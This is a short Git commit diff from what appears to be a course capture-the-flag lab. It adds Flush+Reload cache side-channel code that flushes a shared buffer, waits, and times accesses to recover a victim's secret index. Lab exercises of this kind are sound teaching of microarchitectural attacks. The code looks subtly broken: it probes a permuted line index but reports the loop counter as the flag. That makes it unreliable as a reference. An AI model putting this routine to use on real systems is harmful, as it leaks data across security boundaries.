part2 ver 0.1
This commit is contained in:
parent
5dd5cbb980
commit
b2ad429c8c
|
@ -8,7 +8,8 @@
|
||||||
|
|
||||||
#include "util.h"
|
#include "util.h"
|
||||||
|
|
||||||
|
#define CACHE_HIT_THRESHOLD 200
|
||||||
|
#define WAIT_TIME 100
|
||||||
int main() {
|
int main() {
|
||||||
int flag = -1;
|
int flag = -1;
|
||||||
|
|
||||||
|
@ -16,7 +17,17 @@ int main() {
|
||||||
char *buf = allocate_shared_buffer();
|
char *buf = allocate_shared_buffer();
|
||||||
|
|
||||||
// [2.1] TODO: Put your capture-the-flag code here
|
// [2.1] TODO: Put your capture-the-flag code here
|
||||||
|
for(int i = 0; i < 1024; i++) {
|
||||||
|
clflush((ADDR_PTR)buf + i * 128);
|
||||||
|
}
|
||||||
|
for(int i = 0; i < WAIT_TIME; i++);
|
||||||
|
for(int i = 0; i < 1024; i++) {
|
||||||
|
CYCLES time = measure_one_block_access_time((ADDR_PTR)buf + (i * 10020107) % 1024 * 128);
|
||||||
|
if(time < CACHE_HIT_THRESHOLD) {
|
||||||
|
flag = i;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
printf("Flag: %d\n", flag);
|
printf("Flag: %d\n", flag);
|
||||||
|
|
||||||
deallocate_shared_buffer(buf);
|
deallocate_shared_buffer(buf);
|
||||||
|
|
Loading…
Reference in New Issue